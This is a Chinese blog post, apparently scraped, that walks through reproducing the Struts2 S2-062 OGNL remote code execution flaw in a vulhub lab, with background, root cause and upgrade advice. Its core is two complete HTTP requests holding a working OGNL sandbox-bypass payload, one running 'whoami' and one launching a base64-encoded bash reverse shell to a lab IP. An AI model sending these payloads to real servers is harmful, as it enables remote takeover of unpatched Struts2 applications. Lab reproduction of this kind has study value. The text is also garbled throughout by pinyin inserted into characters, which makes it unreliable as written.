struts2 s2-062 OGNL遠(yuǎn)程代碼執(zhí)行
一、Struts2介紹
struts2是一種重量級(jí)的框架,位于MVC架構(gòu)中的controller,可以分析出來,它是用于接受頁面信息然后通過內(nèi)部處理,將結(jié)果返回。struts2也是一個(gè)web層的MVC框架。
Java中SSH框架
SSH為Struts+Spring+Hibernate的一個(gè)集成框架,是目前較流行的一種JAVA Web應(yīng)用程序開源框架。
Java中SSM框架
SSM框架即指SpringMVC+Spring+MyBatis的簡(jiǎn)稱,相比于之前的SSH(Spring+Struts+Hibernate),SSM更加輕量化和靈活,是目前業(yè)界主流的Java Web開發(fā)框架。
MVC介紹(Model-View-Controller)
經(jīng)典MVC模式中,M是指模型,V是視圖,C則是控制器,使用MVC的目的是將M和V的實(shí)現(xiàn)代碼分離,從而使同一個(gè)程序可以使用不同的表現(xiàn)形式。其中,View的定義比較清晰,就是用戶界面。
不使用MVC組件:
1、為每個(gè)請(qǐng)求編寫處理的Servlet
2、使用getParameter()獲取請(qǐng)求參數(shù)
3、轉(zhuǎn)換參數(shù)的數(shù)據(jù)類型,包括實(shí)體對(duì)象
4、處理重定向和轉(zhuǎn)發(fā)URL
使用MVC組件:
分離頁面展示代碼和業(yè)務(wù)邏輯代碼,提升可維護(hù)性、提升開發(fā)效率
二、s2-062漏洞概況
該漏洞是由于 2020 年 S2-061(CVE-2020-17530)的不完整修復(fù)造成的,當(dāng)開發(fā)人員使用了 %{…}
語法進(jìn)行強(qiáng)制OGNL解析時(shí),仍有一些特殊的TAG屬性可被二次解析,攻擊者可構(gòu)造惡意的OGNL
表達(dá)式觸發(fā)漏洞,從而實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。
三、漏洞復(fù)現(xiàn)
1、打開vulhub中Struts2的靶場(chǎng)
2、bp發(fā)送payload
POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1101
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
3、建立反彈連接payload
payload需要經(jīng)過base64編碼
編碼前:
bash -i >& /dev/tcp/192.168.142.133/6666 0>&1
編碼后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
POST /index.action HTTP/1.1
Host: 192.168.142.133:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1192
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
四、漏洞原理
項(xiàng)目使用了%{}解析OGNL表達(dá)式,對(duì)用戶輸入的內(nèi)容進(jìn)行二次解析的時(shí)候,如果沒有驗(yàn)證就可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行。
個(gè)人理解:
struts2項(xiàng)目中使用了%{}解析OGNL表達(dá)式,對(duì)用戶輸入的內(nèi)容進(jìn)行二次解析,使用BeanMap類繞過了Struts2的黑名單(沙盒機(jī)制),并實(shí)例化了可執(zhí)行任意代碼的類,導(dǎo)致可以執(zhí)行任意代碼。
OGNL表達(dá)式:
全稱Object-Graph Navigation Language(對(duì)象圖導(dǎo)航語言),一種開源的Java表達(dá)式語言,用于對(duì)數(shù)據(jù)進(jìn)行訪問,擁有類型轉(zhuǎn)換、訪問對(duì)象方法、操作集合對(duì)象等功能。
OGNL和Struts:
1、OGNL是Struts默認(rèn)支持的表達(dá)式語言。
2、OGNL可以取值賦值、訪問類的靜態(tài)方法和屬性。
3、訪問OGNL上下文。Struts的上下文根對(duì)象:ValueStack。
4、%{}用來把字符串轉(zhuǎn)換成表達(dá)式。
5、可以在struts.xml和struts標(biāo)簽等地方使用表達(dá)式。
五、漏洞修復(fù)方法
1、升級(jí)Struts2的版本
2、升級(jí)Struts2的相關(guān)組件文章來源:http://www.zghlxwxcb.cn/news/detail-431623.html
3、使用安全產(chǎn)品文章來源地址http://www.zghlxwxcb.cn/news/detail-431623.html
到了這里,關(guān)于struts2 s2-062 OGNL遠(yuǎn)程代碼執(zhí)行的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!